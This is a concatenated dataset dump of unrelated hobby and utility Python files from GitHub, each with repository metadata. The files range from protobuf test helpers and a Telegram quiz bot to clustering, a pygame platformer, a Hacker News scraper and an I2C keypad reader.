testobj: unittest.case.TestCase,\n proto_needle: Union[message.Message, str, bytes],\n proto_haystack: message.Message,\n *,\n ignored_fields: Optional[list[str]] = None,\n) -> None:\n \"\"\"Asserts that fields from proto_needle are set the same in proto_haystack.\n\n Args:\n testobj: The test case that called this comparison.\n proto_needle: A proto to compare with proto_haystack.\n proto_haystack: A proto that contains all fields in proto_needle and others.\n ignored_fields: List of field paths into the proto to be ignored during\n comparison.\n \"\"\"\n if isinstance(proto_needle, str | bytes):\n proto_needle = text_format.Parse(proto_needle, proto_haystack.__class__())\n else:\n proto_needle = copy.deepcopy(proto_needle)\n proto_haystack = copy.deepcopy(proto_haystack)\n if ignored_fields is not None:\n for field_path in ignored_fields:\n _clear_field(proto_needle, field_path)\n _clear_field(proto_haystack, field_path)\n\n proto_needle_full = copy.deepcopy(proto_haystack)\n proto_needle_full.MergeFrom(proto_needle)\n\n _sort_repeated_fields(proto_needle_full, deduplicate=True)\n _sort_repeated_fields(proto_haystack, deduplicate=True)\n\n txt_needle = text_format.MessageToString(proto_needle_full)\n txt_haystack = text_format.MessageToString(proto_haystack)\n testobj.assertMultiLineEqual(txt_needle, txt_haystack)\n\n\n# pylint:disable-next=invalid-name\ndef assertProto2SameElements(\n testobj: unittest.case.TestCase,\n proto_a: Union[message.Message, str, bytes],\n proto_b: message.Message,\n *,\n ignored_fields: Optional[list[str]] = None,\n keep_duplicate_values: Optional[bool] = None,\n) -> None:\n \"\"\"Asserts that fields from proto_a and proto_b are the same.\n\n For repeated fields, both messages must have the same items, but count or\n order does not matter.\n The semantics are similar to, e.g., absltest.assertSameElements.\n This method does not care about any duplicates unless keep_duplicate_values\n is set to true.\n\n Args:\n testobj: The test case that called this comparison.\n proto_a: A proto to compare with proto_b.\n proto_b: The proto to compare to.\n ignored_fields: List of field paths into the proto to be ignored during\n comparison.\n keep_duplicate_values: Keep duplicate values before comparing. If not set or\n set to false, duplicate values will be considered one value. This makes it\n possible to compare similar to set semantics.\n \"\"\"\n if isinstance(proto_a, str | bytes):\n proto_a = text_format.Parse(proto_a, proto_b.__class__())\n\n proto_a = copy.deepcopy(proto_a)\n proto_b = copy.deepcopy(proto_b)\n if ignored_fields is not None:\n for field_path in ignored_fields:\n _clear_field(proto_a, field_path)\n _clear_field(proto_b, field_path)\n\n deduplicate = True\n if keep_duplicate_values is not None and keep_duplicate_values:\n deduplicate = False\n\n _sort_repeated_fields(proto_a, deduplicate)\n _sort_repeated_fields(proto_b, deduplicate)\n\n txt_a = text_format.MessageToString(proto_a)\n txt_b = text_format.MessageToString(proto_b)\n testobj.assertMultiLineEqual(txt_a, txt_b)\n","repo_name":"intrinsic-dev/intrinsic_sdks","sub_path":"intrinsic/solutions/testing/compare.py","file_name":"compare.py","file_ext":"py","file_size_in_byte":12983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3655117611","text":"import os\nimport glob\nimport subprocess\n\n\npath = os.path.join(os.getcwd(),'sudokus')\n# subprocess.Popen('\"C:\\\\Program Files (x86)\\\\CodeBlocks\\\\MinGW\\\\bin\"\\\\gcc.exe sudoku.c -o sudoku.exe',shell=True)\n\nfile_number = 1\nfor filename in glob.glob(os.path.join(path, '*.dat')):\n\tf = open(filename, 'r')\n\ti = 0\n\tsudoku_str = \"{\"\n\tsudoku_str2 =\"\"\n\tfor line in f:\n\t\tif (i>1):\n\t\t\tsudoku_str+= \"{\"\n\t\t\tline = line.split()\t\t\t\t\t\t\n\t\t\t# print(line)\n\t\t\taux = 0\n\t\t\tfor number in line:\n\t\t\t\tsudoku_str += str(number)\n\t\t\t\tsudoku_str2 += str(number)\n\t\t\t\tif(aux < 8):\n\t\t\t\t\tsudoku_str+=\",\"\n\t\t\t\taux = aux + 1\n\t\t\tsudoku_str += \"}\"\n\t\t\tif(i<10):\n\t\t\t\tsudoku_str+=\",\"\n\t\ti+=1\n\tsudoku_str += \"}\"\n\tprint(sudoku_str2)\n\tsubprocess.Popen('sudoku.exe '+sudoku_str2+'>> output\\\\output_'+str(file_number)+'.txt',shell=True)\n\t\n\tprint('\\n')\n\tf.close()\n\tfile_number += 1\n","repo_name":"GuilhermeBorges/Sudoku","sub_path":"executa.py","file_name":"executa.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9878330565","text":"exp = []\nx = str(input('Digite uma expressão: ')).strip()\nfor c in x:\n if c == '(':\n exp.append('(')\n elif c == ')':\n if len(exp) > 0:\n exp.pop()\n else:\n exp.append(')')\n print(len(exp))\n break\nif len(exp) == 0:\n print('Expressão válida!')\nelse:\n print('Expressão invalida!')","repo_name":"Raphael-Azevedo/Exercicios_Python","sub_path":"Exercicios em Python/ex083.py","file_name":"ex083.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74764755149","text":"import sqlite3\nfrom googletrans import Translator\n\n\ndef get_top_results(update, context):\n conn = sqlite3.connect(\"data.db\")\n cursor = conn.cursor()\n\n cursor.execute(\"SELECT username, full_name, results FROM user_info ORDER BY results DESC LIMIT 5\")\n\n results = cursor.fetchall()\n\n conn.close()\n\n if not results:\n update.message.reply_text(text=\"Unfortunately, no one has run the test yet and has not shown any results😔Maybe you will be the first, click /quiz and test yourself🥹\", parse_mode=\"html\")\n else:\n message = \"\\n\".join([\n f\"{i + 1} {user[1]}'s result is {user[2]}\"\n for i, user in enumerate(results)\n ])\n update.message.reply_text(message, parse_mode=\"html\")\n\n\ndef get_my_level(update,context):\n conn=sqlite3.connect(\"data.db\")\n c=conn.cursor()\n c.execute(f\"WITH SortedUsers AS (SELECT username, full_name, user_id, results,ROW_NUMBER() OVER (ORDER BY results DESC) AS position FROM user_info) SELECT position, username, full_name, results FROM SortedUsers WHERE user_id = {update.message.from_user.id}\")\n\n results=c.fetchone()\n conn.close()\n if results is None:\n update.message.reply_text(\"But you haven't done the quiz yet. That's why you don't have any points. Please click the /quiz command first and collect points by starting the quiz😉\",parse_mode=\"html\")\n else:\n l=[i for i in results]\n update.message.reply_text(\n f\"Your level are {l[0]}🏆Dear {l[2]} your total score {l[3]} .Never stop🚫\",parse_mode=\"html\"\n )\ndef detect_language(text):\n translator = Translator()\n detected = translator.detect(text)\n return detected.lang\n\ndef lang_trans(update,context):\n\n if detect_language(update.message.text)=='en':\n translator = Translator()\n text=update.message.text\n # Translate text from one language to another\n result = translator.translate(f\"{text}\", src=\"en\", dest=\"uz\")\n\n # Access the translated text\n translated_text = result.text\n update.message.reply_text(text=translated_text)\n if detect_language(update.message.text)=='uz':\n translator = Translator()\n text = update.message.text\n # Translate text from one language to another\n result = translator.translate(f\"{text}\", src=\"uz\", dest=\"en\")\n\n # Access the translated text\n translated_text = result.text\n update.message.reply_text(text=translated_text)\n\n\n","repo_name":"umidyor/Quiz_bot_eng","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73760584909","text":"import speedtest\nfrom threading import Thread\nimport time\nfrom .db.speed_table import SpeedTable\nfrom datetime import datetime\n\nclass GetSpeedData(Thread):\n def __init__(self, log = False):\n self.log = log\n\n def run(self):\n while True:\n self.getData()\n time.sleep(60)\n\n def convertToMb(self, speed):\n return \"{:.2f}\".format(speed/1048576) # Bytes to MBytes\n\n def getData(self):\n st = speedtest.Speedtest()\n downloadSpeed = float(st.download())\n uploadSpeed = float(st.upload())\n timestamp = int(time.time())\n\n downloadSpeed = self.convertToMb(downloadSpeed)\n uploadSpeed = self.convertToMb(uploadSpeed)\n SpeedTable.insert(downloadSpeed, uploadSpeed, timestamp)\n\n if(self.log):\n dt_object = datetime.fromtimestamp(timestamp)\n print('{} --- Download speed: {} Mb/s --- Upload speed: {} Mb/s'.format(dt_object, downloadSpeed, uploadSpeed))","repo_name":"Joselsneto/Internet-Speed-Tracker","sub_path":"src/get_speed_data.py","file_name":"get_speed_data.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8625183216","text":"import cv2\nimport os\n\n\nclass Video:\n def __init__(self, path, reheight, rewidht):\n self.pathVideo = path\n self.capture = cv2.VideoCapture(path)\n self.resultsPath = \"results\"\n if not os.path.exists(self.resultsPath):\n os.makedirs(self.resultsPath)\n self.num_frames = int(self.capture.get(cv2.CAP_PROP_FRAME_COUNT))\n self.height = int(self.capture.get(cv2.CAP_PROP_FRAME_HEIGHT))\n self.width = int(self.capture.get(cv2.CAP_PROP_FRAME_WIDTH))\n self.fps = int(self.capture.get(cv2.CAP_PROP_FPS))\n self.rewidth = rewidht\n self.reheight = reheight\n\n\nif __name__ == '__main__':\n video = Video(\"videos/video_test.mp4\")\n","repo_name":"mcv-m6-video/mcv-m6-2021-team6","sub_path":"W4/Video.py","file_name":"Video.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11006096923","text":"from django.shortcuts import render\n\n# Create your views here.\n\nimport highlighter.backend as backend\nfrom .models import SummaryEntry, LabelType\nfrom .form import SummaryForm\n\n\ndef highlighter_view(r, *args, **kwargs):\n\t\"\"\"\n\tmain discharge summary labeller view\n\t\"\"\"\n\n\t#vars: cleaned_data, labels\n\tprocessed_text = \"(Enter summary to see labels.)\"\n\tdefinition_html = \"(Enter summary to see definitions.)\"\n\tform = SummaryForm()\n\tif r.method == \"POST\":\n\t\tform = SummaryForm(r.POST)\n\t\tif form.is_valid():\n\t\t\tcleaned_data = form.cleaned_data\n\t\t\tlabels = cleaned_data.pop('labels')\n\t\t\ts = SummaryEntry.objects.create(**cleaned_data)\n\t\t\ts.labels.set(labels)\n\n\t\t\t# if using ML model, use backend.get_summary() function instead.\n\t\t\tprocessed_text, definition_html = backend.get_summary_scispacy(cleaned_data, labels)\n\t\t\ts.processed = processed_text\n\t\t\ts.save() #this step is key!!! :) saves it!\n\n\t\telse:\n\t\t\tprint (\"Post:\", r.POST, form.is_valid())\n\t\t\tform = SummaryForm()\n\t\t\tprint(\"Errors in form:\", form.errors)\n\telse:\n\t\tprint(\"Not a POST method.\")\n\n\tcontext={\n\t\t'form':form,\n\t\t'processed_text': processed_text,\n\t\t'definitions': definition_html,\n\t}\n\treturn render(r, 'highlighter_temp.html', context)\n\t# this is still relative to templates directory!!\n","repo_name":"gloriafang123/mitmlhc2020-public-discharge-labeller","sub_path":"mysite/highlighter/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"32605575490","text":"\"\"\"SpaceTravels URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('registration/', include('tourists.urls')), # Showing Django where he should searching for urlpatterns \n path('', include('SpaceTravels.views')), # Pointing into urlpatterns in views.py file in main folder\n path('api-tourists/', include('tourists.api.urls')), # Pointing on our api urls in tourists app\n path('api-flights/', include('flights.api.urls')), # Pointing on our api urls in flights app\n]\n","repo_name":"lukaszkania/SpaceTravelsBackEnd","sub_path":"SpaceTravels/SpaceTravels/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74656155468","text":"from numba import cuda\n\n\n@cuda.jit\ndef mutate(population, random_values, size_individual, mutation_rate):\n index = cuda.grid(1)\n if index < population.shape[0]:\n individual_mutate(population[index], random_values[index], size_individual, mutation_rate)\n\n\n@cuda.jit(device=True)\ndef individual_mutate(individual, random_values, size_individual, mutation_rate):\n for position_1 in range(size_individual):\n if random_values[0] < mutation_rate:\n position_2 = round(random_values[1] * (size_individual - 1))\n if not position_1 == position_2:\n swap_value = individual[position_1]\n individual[position_1] = individual[position_2]\n individual[position_2] = swap_value\n","repo_name":"TimLC/Genetic_Algorithm_GPU-CPU","sub_path":"optimized_genetic_algorithm/genetic/mutation.py","file_name":"mutation.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"807951755","text":"import pd\n\n\ndef py2pd(value):\n \"\"\"Convert a Python data type to a PureData type\"\"\"\n return value\n\ndef pd2py(value):\n \"\"\"Convert a PureData data type to a Python type\"\"\"\n return value\n\n\ndef pdlist2pylist(value):\n \"\"\"Convert a PureData list to a Python list\"\"\"\n # value is one list, make it a string\n try:\n s = ''\n for i in range(len(value)):\n s = s + str(value[i]) + \" \" \n s = s.replace(\" \", \",\")\n s = \"[\" + s + \"]\"\n lst = eval(s)\n return lst[0]\n except:\n pd.error(\"There is syntax error in the list\")\n return None\n\n\n\n\n\n\n\n\n\n\n","repo_name":"charlesneimog/py4pd","sub_path":"resources/scripts/src/convertion.py","file_name":"convertion.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"70063454348","text":"import numpy as np\nimport pickle\nimport matplotlib.pyplot as plt\nimport collections\nimport multiprocessing\nfrom pathos.multiprocessing import ProcessingPool as Pool\n\n\ndef dist(x,y):\n return np.sum((x-y)**2)\n\ndef ChooseInitialMeans(data,k):\n means = []\n for _ in range(k):\n random_centroid = []\n for i in range(data.shape[1]):\n a = min(data[:, i])\n b = max(data[:, i])\n random_centroid.append( np.random.uniform(a,b) )\n means.append(random_centroid)\n #means, clusters = mykmns.kmeans_main(X, k)\n return means\n\n\ndef kmeansOnceWeights(data,weights,k,n,n_per_cluster):\n means = ChooseInitialMeans(data, k)\n\n for iter in range(50):\n #print(iter)\n\n if iter>0:\n means = []\n for k0 in ids:\n indices = [i for i, cl in enumerate(closest_cluster) if cl == k0]\n if len(indices) > 0:\n cut = np.take(data, indices, axis=0)\n means.append(np.apply_along_axis(np.mean, axis=0, arr=cut))\n\n clusters = dict(enumerate(means))\n ids = list(clusters.keys())\n diffs = []\n for id in ids:\n diffs.append(np.apply_along_axis(lambda x: dist(x, clusters[id]), axis=1, arr=data))\n\n diffs = np.asarray(diffs)\n\n clust_sizes = dict(zip(ids, np.zeros(len(ids))))\n closest_cluster = []\n for i in range(n):\n row = diffs[:, i]\n w0 = weights[i]\n inds_sorted = np.argsort(row)\n for id_opt in inds_sorted:\n if clust_sizes[id_opt] < n_per_cluster:\n closest_cluster.append(id_opt)\n clust_sizes[id_opt] += w0\n break\n\n inner_diffs = []\n for k0 in ids:\n indices = [i for i, cl in enumerate(closest_cluster) if cl == k0]\n if len(indices) > 0:\n cut = np.take(diffs, indices, axis=1)\n inner_diffs.append(np.apply_along_axis(np.mean, axis=1, arr=cut)[k0])\n\n return ids, closest_cluster, sum(inner_diffs)\n\n\n\ndef kmeans(data,weights,k,n=None,n_per_cluster=None,B=10):\n\n if n is None:\n n = data.shape[0]\n\n if n_per_cluster is None:\n n_per_cluster = int(np.ceil(sum(weights) / k))\n\n results = []\n for b in range(B):\n print(b)\n results.append(kmeansOnceWeights(data,weights, k, n, n_per_cluster))\n\n inner_diffs = [r[2] for r in results]\n opt = np.argmin(inner_diffs)\n\n counter = collections.Counter(results[opt][1])\n print(counter)\n\n return results[opt][0], results[opt][1]\n\n\ndef kmeans_parallel(data,weights,k,n=None,n_per_cluster=None,B=10):\n\n if n is None:\n n = data.shape[0]\n\n if n_per_cluster is None:\n n_per_cluster = int(np.ceil(sum(weights) / k))\n\n def processInput(b):\n print(b)\n return kmeansOnceWeights(data, weights, k, n, n_per_cluster)\n\n # inputs = [(b, data, weights, k, n, n_per_cluster) for b in range(B)]\n inputs = range(B)\n num_cores = multiprocessing.cpu_count()\n\n with Pool(num_cores-1) as p:\n results = p.map(processInput, inputs)\n\n inner_diffs = [r[2] for r in results]\n opt = np.argmin(inner_diffs)\n\n counter = collections.Counter(results[opt][1])\n print(counter)\n\n return results[opt][0], results[opt][1]\n\n\nif __name__==\"__main__\":\n home_dir = \"/media/bruno/data/chatbot_project/sent2sent\"\n\n k = 2\n data = pickle.load(open(home_dir + \"/data.pickle\", \"rb\"))\n weights = pickle.load(open(home_dir + \"/weights.pickle\", \"rb\"))\n n = data.shape[0]\n\n n_per_cluster = int(np.ceil(sum(weights) / k))\n\n B = 10\n print(data.shape)\n ids, closest_cluster = kmeans_parallel(data, weights, k)\n\n for k0 in ids:\n indices = [i for i, cl in enumerate(closest_cluster) if cl == k0]\n cut = np.take(data, indices, axis=0)\n x, y = cut[:, 0], cut[:, 1]\n v = np.random.rand(3, 1)\n plt.scatter(x, y, c=tuple(v[:, 0]))\n # print(\"cluster \" + str(cl) + \" size = \" + str(len(clusters[cl])))\n\n plt.show()","repo_name":"BOpermanis/chatbot_project","sub_path":"sent2sent/kmeans3_weighted.py","file_name":"kmeans3_weighted.py","file_ext":"py","file_size_in_byte":4049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71720743948","text":"import cv2 \nimport numpy as np\nfrom random import randint\n\n#################################### PLACEHOLDER FUNCTIONS FOR LATER ########################################\ndef recieveMsg():\n \n x = randint(3,14)*100\n y = randint(3,9)*100\n \n return x,y,1\n\ndef getLocatorPhoto():\n \n photo = cv2.imread(\"slika0.jpg\")\n \n return photo\n\ndef extractMap(photo):\n \n MAP = cv2.imread(\"mapa.png\")\n \n return MAP\n\n\n\n#################################### REAL FUNCTIONS IN USE CURRENTLY ########################################\n\n# to know which jetcar is being traced, each ID is connected to its roof-marker color\ndef getColor(ID):\n \n if ID == 1:\n return [0,255,255]\n \n \n\n# coordinates recieved are extracted from a wide-angle lens camera. They need to be adjusted accordingly (un-fisheyed) \ndef undistortCoords(x,y):\n\n # makes an image with one white px, and un-distorts it\n img = np.zeros((2464,3264,3))\n img[y-1:y+1,x-1:x+1,:] = [255,255,255]\n img = undistort(img)\n \n #finds the position of the white px\n img = img[:,:,0]\n horizontal = img.sum(axis=0)\n vertical = img.sum(axis=1)\n \n x = np.argmax(horizontal)\n y = np.argmax(vertical)\n \n return x,y\n \n \n \ndef visualizeMarker(x,y,ID):\n \n x,y = undistortCoords(x,y)\n \n color = getColor(ID)\n marker = np.zeros_like(MAP)\n marker[y-5:y+5,x-5:x+5,:] = color\n \n return marker, x,y\n\n\n\ndef undistort(img, balance=1, dim2=(816,616), dim3=(1632,1332)):\n \n K=np.array([[403.5072678987361, 0.0, 390.5537285576421], [0.0, 403.056903943273, 303.0726428457018], [0.0, 0.0, 1.0]])\n D=np.array([[-0.02877771348636789], [-0.012216466999853827], [0.020949602322686396], [-0.015176688869367766]])\n \n\n dim1 = img.shape[:2][::-1] #dim1 is the dimension of input image to un-distort\n assert dim1[0]/dim1[1] == dim2[0]/dim2[1], \"Image to undistort needs to have same aspect ratio as the ones used in calibration\"\n if not dim2:\n dim2 = dim1\n if not dim3:\n dim3 = dim1\n scaled_K = K * dim1[0] / dim2[0] # The values of K is to scale with image dimension.\n scaled_K[2][2] = 1.0 # Except that K[2][2] is always 1.0\n \n # This is how scaled_K, dim2 and balance are used to determine the final K used to un-distort image. OpenCV document failed to make this clear!\n new_K = cv2.fisheye.estimateNewCameraMatrixForUndistortRectify(scaled_K, D, dim2, np.eye(3), balance=balance)\n map1, map2 = cv2.fisheye.initUndistortRectifyMap(scaled_K, D, np.eye(3), new_K, dim3, cv2.CV_16SC2)\n return cv2.remap(img, map1, map2, interpolation=cv2.INTER_LINEAR, borderMode=cv2.BORDER_CONSTANT)\n\n\n\n\n\n\n\n\nphoto = getLocatorPhoto() #FTTP\nphoto = undistort(photo)\nMAP = extractMap(photo)\n\nwhile True:\n \n x,y,ID = recieveMsg()\n marker,x,y = visualizeMarker(x,y,ID)\n \n cv2.imshow(\"Map with marker(s):\",marker+MAP)\n cv2.waitKey(1)\n print(x,y,end='\\r')\ncv2.destroyAllWindows()\n ","repo_name":"duspic/SmartCity_Model","sub_path":"L2S_communication/locator2server_server.py","file_name":"locator2server_server.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42272491474","text":"import pygame as pg\nfrom parameters import screen, W, H\nimport player\nimport globals\n\npg.init()\n\nclock = pg.time.Clock()\n\nplayer = player.Player(50, 50, 0.8)\n\ncolours = {'bg': \"#F2EDD7\", 'ground': \"#755139\"}\n\nrun = True\n\nwhile run:\n\n clock.tick(60)\n\n screen.fill(colours['bg'])\n\n pg.draw.rect(screen, colours['ground'], pg.Rect(0, globals.GROUND_LEVEL, W, H - globals.GROUND_LEVEL))\n\n player.update()\n player.draw()\n\n for event in pg.event.get():\n if event.type == pg.QUIT:\n run = False\n if event.type == pg.KEYDOWN:\n if event.key == pg.K_RIGHT:\n globals.moving_right = True\n stay = False\n if event.key == pg.K_LEFT:\n globals.moving_left = True\n stay = False\n if event.key == pg.K_UP:\n globals.jumping = True\n if event.type == pg.KEYUP:\n if event.key == pg.K_RIGHT:\n globals.moving_right = False\n stay = True\n if event.key == pg.K_LEFT:\n globals.moving_left = False\n stay = True\n\n pg.display.flip()\n","repo_name":"Oksana515/Platformer_walking_n_jumping","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1363686842","text":"from outrankingDigraphs import *\nt = PerformanceTableau('zeitRanking2005')\n\ninput('Performance tableau')\nt.showHTMLPerformanceHeatmap(colorLevels=5,\\\n rankingRule=None,\\\n pageTitle='Performance Tableau \\'Zeit Ranking 2005\\'')\n\nfrom sortingDigraphs import *\nqs = QuantilesSortingDigraph(t,limitingQuantiles=7,LowerClosed=False)\ninput('7-tiles sorting')\nqs.showSorting()\ninput('7-tiles qunatile ordering')\nqs.showQuantileOrdering(strategy='average')\n\ninput('Ranking with heatmap')\nt.showHTMLPerformanceHeatmap(colorLevels=5,rankingRule='NetFlows',\n Correlations=True,pageTitle='Performance Tableau \\'Zeit Ranking 2006\\'')\n\n# absolute quantiles rating\nfrom performanceQuantiles import *\npq = PerformanceQuantiles(t,numberOfBins=9,LowerClosed=False)\nnqs = NormedQuantilesRatingDigraph(pq,t)\ninput('9-tiled rating heatmap')\nnqs.showHTMLRatingHeatmap(ndigits=0,colorLevels=5,Correlations=True,pageTitle='3-tiled rating of the universities')\n\n# best choice from preranked digraph\nfrom sparseOutrankingDigraphs import *\nprg = PreRankedOutrankingDigraph(t,5)\ninput('5-tiles preranked relation map')\nprg.showHTMLRelationMap()\ninput('Preranked Best choice recommendation')\nprg.showBestChoiceRecommendation()\n","repo_name":"rbisdorff/Digraph3","sub_path":"examples/zeit2005Demo.py","file_name":"zeit2005Demo.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"82"} +{"seq_id":"74814861067","text":"import requests\nimport json\nfrom hackernews.celery import app\nfrom pprint import pprint\nimport os\nfrom news.models import Item, Author\nfrom django.db.models import Max\nfrom datetime import datetime\nfrom pytz import timezone\nfrom django.db import IntegrityError\n\n\nutc = timezone(\"UTC\")\n\n\ndef get_max_item():\n resp = requests.get(\"https://hacker-news.firebaseio.com/v0/maxitem.json\")\n return resp.json()\n\n\n@app.task\ndef get_history():\n max_item_id = get_max_item()\n max_item_no_db = Item.objects.aggregate(max_item_id=Max(\"item_id\"))[\"max_item_id\"]\n print(f\"Max Item ID from API = {max_item_id}\")\n print(f\"Current Max Item ID from DB = {max_item_no_db}\")\n print(f\"Catching up with {max_item_id - max_item_no_db}\")\n stories_left = 100\n while max_item_no_db < max_item_id and stories_left > 0:\n max_item_no_db += 1\n get_item.delay(max_item_no_db)\n\n\n@app.task\ndef get_latest():\n resp = requests.get(\"https://hacker-news.firebaseio.com/v0/jobstories.json\")\n ids = resp.json()\n for id in ids:\n get_item.delay(id)\n\n\n@app.task\ndef get_item(id):\n resp = requests.get(f'https://hacker-news.firebaseio.com/v0/item/{id}.json')\n item = resp.json()\n\n parent = None\n if \"parent\" in item:\n try:\n parent = Item.objects.get(item_id=item[\"parent\"])\n except Item.DoesNotExist:\n get_item(item[\"parent\"])\n\n try:\n item_db = Item.objects.get(item_id=item[\"id\"])\n if item_db.category == \"story\" and item[\"type\"] != \"story\":\n item_db.category = item[\"type\"]\n \n except Item.DoesNotExist:\n item_db = Item(\n item_id = item[\"id\"],\n category = item[\"type\"],\n created_date = utc.localize(datetime.utcfromtimestamp(item[\"time\"])) if item.get(\"time\") else None, \n )\n \n item_db.parent = parent\n item_db.text = item.get(\"text\", \"\")\n item_db.url = item.get(\"url\")\n item_db.title = item.get(\"title\", \"\")\n item_db.score = item.get(\"score\")\n \n if \"by\" in item:\n item_db.author = get_user(item[\"by\"])\n \n try:\n item_db.save()\n except IntegrityError:\n pass\n\n # kids = []\n for kid_id in item.get(\"kids\", []):\n subitem = get_item(kid_id)\n # kids.append(subitem)\n # item[\"kids\"] = kids\n return item\n\n\ndef get_user(user_id):\n resp = requests.get(f'https://hacker-news.firebaseio.com/v0/user/{user_id}.json')\n data = resp.json()\n username = data[\"id\"]\n try:\n author = Author.objects.get(username=username)\n except Author.DoesNotExist:\n author = Author(\n username = username,\n created = utc.localize(datetime.utcfromtimestamp(data[\"created\"])),\n karma = data[\"karma\"],\n no_submitted = len(data.get(\"submitted\", []))\n )\n try:\n author.save()\n except IntegrityError:\n pass\n return author\n","repo_name":"adebisit/hacker-news-app","sub_path":"news/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":2931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20829653956","text":"class Solution:\n def brute_force(self, heights):\n \"\"\"\n TC:O(n^2) TLE\n SC:O(1)\n \"\"\"\n n=len(heights)\n max_area=0\n \n for i in range(n):\n min_height=float('inf')\n for j in range(i,n):\n min_height=min(min_height, heights[j])\n max_area=max(max_area, min_height * (j-i+1))\n return max_area\n def divide_and_conquer_helper(self,heights, start, end):\n \"\"\"\n TC:O(nlogn) TLE\n SC:O(n)\n \"\"\"\n if start>end:\n return 0\n \n min_index=start\n for i in range(start, end+1):\n if heights[min_index]>heights[i]:\n min_index=i\n \n res1=heights[min_index]*(end-start+1)\n res2=self.divide_and_conquer_helper(heights,start,min_index-1)\n res3=self.divide_and_conquer_helper(heights,min_index+1,end)\n \n max_area=max(res1, max(res2, res3))\n \n return max_area\n \n def divide_and_conquer(self, heights):\n return self.divide_and_conquer_helper(heights, start=0, end=len(heights)-1)\n def stack_helper(self, heights):\n \"\"\"\n TC: O(N)\n SC: O(N)\n \"\"\"\n n=len(heights)\n stack=list()\n max_area=0\n stack.append(-1)\n \n for i in range(n):\n while (stack[-1]!=-1 and heights[i]<=heights[stack[-1]]):\n temp_area=heights[stack.pop()] * (i-stack[-1]-1)\n max_area=max(max_area,temp_area)\n stack.append(i)\n \n while stack[-1]!=-1:\n max_area=max(max_area, heights[stack.pop()] * (n-stack[-1]-1))\n \n return max_area\n def largestRectangleArea(self, heights: List[int]) -> int:\n if not heights or len(heights)==0:\n return 0\n #return self.brute_force(heights)\n #return self.divide_and_conquer(heights)\n return self.stack_helper(heights)","repo_name":"akshatakulkarni98/ProblemSolving","sub_path":"DataStructures/stacks/histogram_heights.py","file_name":"histogram_heights.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"24221493863","text":"\n__DEBUGING__ = False\n\nif not __DEBUGING__: \n from smbus2 import SMBus\n bus = SMBus(1)\n\nimport time\nimport threading\nimport random\n\n# Open i2c bus 1 and read one byte from address 80, offset 0\n\ntime.sleep(2)\n\n\nlocal_callback = None\n\nkeys = [ '1', '2', '3', 'A', '4', '5', '6', 'B', '7', '8', '9', 'C', '*', '0', '#', 'D' ]\nstates = [False] * len(keys)\n\ndef set_callback(callback):\n global local_callback\n\n # print(\"setting callback\")\n local_callback = callback\n\ndef reset_keys():\n global states\n\n states = [False] * len(keys)\n\n\ndef get_keys():\n global states\n\n # print(\"wheres the keys\")\n return states\n\n\ndef async_key_check():\n global states\n\n while True:\n if __DEBUGING__:\n theres_a_change = check_simulation_keys()\n else:\n theres_a_change = check_keys()\n if theres_a_change:\n local_callback(states)\n \n if __DEBUGING__:\n time.sleep(1)\n else:\n time.sleep(0.1)\n\n\ndef check_keys():\n global states\n\n try:\n b = bus.read_byte_data(0x2a, 0)\n if b != 0:\n char = chr(b)\n index = keys.index(char)\n states[index] = not states[index]\n # print(char, states[index])\n return True\n else:\n return False\n except:\n sad = \"No mames Hugo\"\n return False\n \n\ndef reset_key(index):\n global states\n\n states[index] = False\n\n\ndef check_simulation_keys():\n global states\n # print(\"checking keys\")\n\n theres_a_change = random.randint(0, 1)\n\n if theres_a_change:\n index = random.randint(0, len(states) - 1)\n char = keys[index]\n states[index] = not states[index]\n # print(char, states[index])\n return True\n else:\n return 